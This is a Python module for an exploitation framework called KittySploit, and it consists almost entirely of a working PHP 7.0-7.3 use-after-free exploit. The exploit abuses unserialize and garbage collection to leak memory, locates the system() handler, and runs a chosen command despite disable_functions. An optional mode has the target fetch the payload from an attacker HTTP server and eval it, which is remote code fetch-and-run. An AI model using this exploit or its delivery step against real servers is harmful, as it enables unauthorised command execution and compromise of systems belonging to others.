PHP 7.0-7.3 disable_functions bypass

from kittysploit import *
from lib.protocols.http.http_server import Http_server as HTTPServer

class Module(Post, HTTPServer):

	__info__ = {
		"name": "PHP 7.0-7.3 disable_functions bypass",
		"description": "PHP 7.0-7.3 disable_functions bypass using UAF vulnerability",
        "author": "KittySploit Team",
		"arch": Arch.PHP,
	'agent': {
	    'risk': 'intrusive',
	    'effects': ['active_exploitation'],
	    'expected_requests': 2,
	    'reversible': False,
	    'approval_required': True,
	    'produces': ['risk_signals'],
	    'cost': 1.5,
	    'noise': 0.5,
	    'value': 1.0,
	    'requires': 	    {'min_endpoints': 0,
	     'min_params': 0,
	     'tech_hints_any': [],
	     'tech_hints_all': [],
	     'specializations_any': [],
	     'risk_signals_any': [],
	     'auth_session': False,
	     'capabilities_any': ['rce', 'shell', 'file_read'],
	     'capabilities_all': [],
	     'confidence_min': {},
	     'confidence_min_any': {},
	     'endpoint_pattern_any': [],
	     'param_any': [],
	     'api_surface_ready': False},
	    'chain': 	    {'produces_capabilities': [],
	     'consumes_capabilities': ['shell'],
	     'option_bindings': {},
	     'suggested_followups': []},
	},
	}
	
	command = OptString("uname -a", "Command to execute", required=True)
	start_web_delivery = OptBool(False, "Start web delivery server", required=False)
	
	def run(self):
		# Use raw f-string to preserve PHP braces while allowing command substitution
		data = rf"""
pwn("COMMAND_PLACEHOLDER");

function pwn($cmd) {{
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {{
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {{
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }}
        return $address;
    }}

    function ptr2str($ptr, $m = 8) {{
        $out = "";
        for ($i=0; $i < $m; $i++) {{
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }}
        return $out;
    }}

    function write(&$str, $p, $v, $n = 8) {{
        $i = 0;
        for($i = 0; $i < $n; $i++) {{
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }}
    }}

    function leak($addr, $p = 0, $s = 8) {{
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) {{ $leak %= 2 << ($s * 8) - 1; }}
        return $leak;
    }}

    function parse_elf($base) {{
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {{
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) {{ # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            }} else if($p_type == 1 && $p_flags == 5) {{ # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }}
        }}

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }}

    function get_basic_funcs($base, $elf) {{
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {{
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {{
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            }} else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {{
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            }} else continue;

            return $data_addr + $i * 8;
        }}
    }}

    function get_binary_base($binary_leak) {{
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {{
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {{ # ELF header
                return $addr;
            }}
        }}
    }}

    function get_system($basic_funcs) {{
        $addr = $basic_funcs;
        do {{
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {{ # system
                return leak($addr + 8);
            }}
            $addr += 0x20;
        }} while($f_entry != 0);
        return false;
    }}

    class ryat {{
        var $ryat;
        var $chtg;
        
        function __destruct()
        {{
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }}
    }}

    class Helper {{
        public $a, $b, $c, $d;
    }}

    if(stristr(PHP_OS, 'WIN')) {{
        die('This PoC is for *nix systems only.');
    }}

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{{i:0;i:1;i:1;a:1:{{i:0;O:4:"ryat":2:{{s:4:"ryat";R:3;s:4:"chtg";i:2;}}}}i:1;i:3;i:2;R:5;}}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) {{ }};

    if(strlen($abc) == 79 || strlen($abc) == 0) {{
        die("UAF failed");
    }}

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {{
        die("Couldn't determine binary base address");
    }}

    if(!($elf = parse_elf($base))) {{
        die("Couldn't parse ELF header");
    }}

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {{
        die("Couldn't get basic_functions address");
    }}

    if(!($zif_system = get_system($basic_funcs))) {{
        die("Couldn't get zif_system address");
    }}

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {{
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }}

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}}
"""
		# Replace command placeholder with actual command
		command_escaped = self.command.replace('"', '\\"')
		data = data.replace("COMMAND_PLACEHOLDER", command_escaped)
		
		if self.start_web_delivery:
			print_info("Starting web delivery server...")
			host, port, httpd = self.web_delivery(data)
			print_success(f"Web delivery server started on http://{host}:{port}")
			print_info("Executing payload via web delivery...")
			print_info(self.cmd_execute(f"$a=file_get_contents('http://{host}:{port}');eval($a);"))
			self.web_shutdown(httpd)
		else:
			print_info(f"Executing command: {self.command}")
			print_info(self.cmd_execute(data))
		return True